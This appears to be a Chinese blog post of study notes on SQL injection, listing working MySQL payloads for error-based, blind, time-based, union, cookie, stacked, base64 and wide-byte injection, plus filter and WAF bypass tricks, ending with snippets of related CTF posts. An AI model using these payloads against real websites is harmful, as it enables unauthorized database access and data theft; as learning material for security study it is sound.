sql注入總結學習

2021-10-09 23:34:51 字數 4024 閱讀 3176

按http提交方式分

按注入方式分

盲注union注入

boolean注入

cookie注入

堆疊查詢注入

base64注入

注釋編碼問題

mysql 5.0以上和mysql 5.0以下版本的區別

繞過等價函式繞過

http引數汙染

緩衝區溢位繞過

基於floor,updatexml(有長度限制,最長32位),extractvalue(有長度限制,最長32位)進行報錯注入。

union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用錯誤資訊得到當前資料庫名*/
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
id=1 and geometrycollection((select * from(select * from(select user())a)b))
id=1 and multipoint((select * from(select * from(select user())a)b))
id=1 and polygon((select * from(select * from(select user())a)b))
id=1 and multipolygon((select * from(select * from(select user())a)b))
id=1 and linestring((select * from(select * from(select user())a)b))
id=1 and multilinestring((select * from(select * from(select user())a)b))
id=1 and exp(~(select * from(select user())a))
配合報錯注入即可/也可以用注入點在limit後的注入

樣例

id = 1 and if(length(database())>1,sleep(5),1)
length(str):返回字串str的長度

substr(str, pos, len):將str從pos位置開始擷取len長度的字元進行返回。注意這裡的pos位置是從1開始的,不是陣列的0開始

mid(str,pos,len):跟上面的一樣,擷取字串

ascii(str):返回字串str的最左面字元的ascii**值

ord(str):將字元或布林型別轉成ascll碼

if(a,b,c):a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

and ascii(substr((select database()),1,1))>64 /*判斷資料庫名的第乙個字元的ascii值是否大於64*/
id=1 union select if(substring(user(),1,1)='root',sleep(4),1),null,null /*提取使用者名稱第乙個個字元做判斷,正確就延遲4秒,錯誤返回1*/
id =-1 union select 1,2,3   /*獲取字段*/
id=1' substr(database(),1,1)='t'--+     /*判斷資料名*/
當發現在url中沒有請求引數,單數卻能得到結果的時候,可以看看請求引數是不是在cookie中,然後利用常規注入方式在cookie中注入測試即可,只是注入的位置在cookie中,與url中的注入沒有區別。

cookie: id = 1 and 1=1

id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

tips:

並非所有環境都支援堆疊注入,比如oracle

查詢時通常只返回乙個結果,導致後面的sql語句可能無法回顯到頁面上

對引數進行base64編碼,再傳送請求。

說明:id=1',1的base64編碼為msc=,而=的url編碼為%3d,

所以得到以下結果:

id=msc%3d
#

-- (有空格)或--+

/**/

/*!...*/
id = -1%df' union select 1,user(),3,%23在上述條件下,單引號』被轉義為%5c,所以就構成了%df%5c,而在gbk編碼方式下,%df%5c是乙個繁體字「連」,所以單引號成功逃逸

mysql 5.0以上版本存在乙個儲存著資料庫資訊的資訊資料庫–information_schema ,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等。而5.0以下沒有。

系統資料庫,記錄當前資料庫的資料庫,表,列,使用者許可權等資訊

儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等

儲存mysql中的表資訊,包括這個表是基本表還是系統表,資料庫的引擎是什麼,表有多少行,建立時間,最後更新時間等

儲存mysql中表的列資訊,包括這個表的所有列以及每個列的資訊,該列是表中的第幾列,列的資料型別,列的編碼型別,列的許可權,列的注釋等

substr、mid()函式中可以利用from to來擺脫對逗號的利用;

limit中可以利用offset來擺脫對逗號的利用

greatest、between and

and=&&

or=||

xor=|

not=!

用括號,+等繞過

http引數汙染(http parameter pollution) 攻擊者通過在http請求中插入特定的引數來發起攻擊,如果web應用中存在這樣的漏洞,可以被攻擊者利用來進行客戶端或者伺服器端的攻擊

變為id=1 union select+1&id=2,3+from+users+where+id=1–

id=1 and (select 1)=(select 0xaaaaaaaaaaaaaaaaaaaaa)+union+select+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+

其中0xaaaaaaaaaaaaaaaaaaaaa這裡a越多越好。一般會存在臨界值,其實這種方法還對字尾名的繞過也有用

SQL注入學習總結 三 SQL注入的思路總結

ctf中的sql注入的思路總結 1.拿到題目之後一般是乙個登陸框 大概率盲注或者是報錯,寫指令碼跑 嘗試輸入使用者名稱 admin 和密碼 隨意 檢視其返回結果這裡一般又分為兩種 有返回是密碼錯誤還是使用者名稱錯誤 只是單一的返回登陸失敗 對於第一種情況就可以直接嘗試在username之後輸入pay...

SQL注入學習總結 一 SQL注入的分類

ctf中的sql注入的思路總結 1.拿到題目之後一般是乙個登陸框 大概率盲注或者是報錯,寫指令碼跑 嘗試輸入使用者名稱 admin 和密碼 隨意 檢視其返回結果這裡一般又分為兩種 有返回是密碼錯誤還是使用者名稱錯誤 只是單一的返回登陸失敗 對於第一種情況就可以直接嘗試在username之後輸入pay...

SQL注入總結

在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...